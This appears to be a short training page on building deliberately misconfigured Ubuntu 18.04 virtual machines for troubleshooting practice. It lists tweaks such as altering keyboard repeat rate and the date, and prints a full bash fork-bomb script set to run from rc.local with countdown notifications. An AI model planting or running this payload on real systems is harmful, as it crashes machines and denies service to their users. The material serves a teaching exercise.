<Date>

CyberApprentice

Creating Misconfigured VMs

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# Ubuntu 18.04

## non-apps

* Change the keyboard input delay and rate
  + Syntax = xset r rate [delay] [rate]
  + Default = 500/33
  + Fastest = 1/255
  + Slowest = 10000/1
  + Manageable = 75/255
  + $ Xset r rate 75 255
* Change the date (not the time.. too noticeable)
* Fork-bomb service
  + Fork bomb is a self-DoS attack that consumed CPU and RAM resources, causing the system to crash shortly. The service will be ran shortly after turning on and there will be delays to gradulatelly build up to allow users to find the issue.
  + The standard time is ~20 minutes but may be changed using the variable “timeLimit” which is used in conjunction with the formula X\*(X+1)/2 to provide the timeframe in seconds (add \*1/60 to translate into minutes, but it will not notify accurately enough).
  + Script:

#!/bin/bash

# rc.local

# This script is a fork-bomb that runs after 10 minutes with delays in between

#

for ((timeLimit=49; timeLimit>0; timeLimit--))

do

notifySec=$(echo "($timeLimit \* ($timeLimit + 1)/2)" | bc)

notifyMin=$(echo "($timeLimit \* ($timeLimit + 1)/2)\*1/60" | bc)

notify-send -u low "Disaster in $notifySec seconds ($notifyMin minute(s))"

:(){ sleep $timeLimit; :|: & };:

done

**Bibliography (16th Edition Chicago Style)**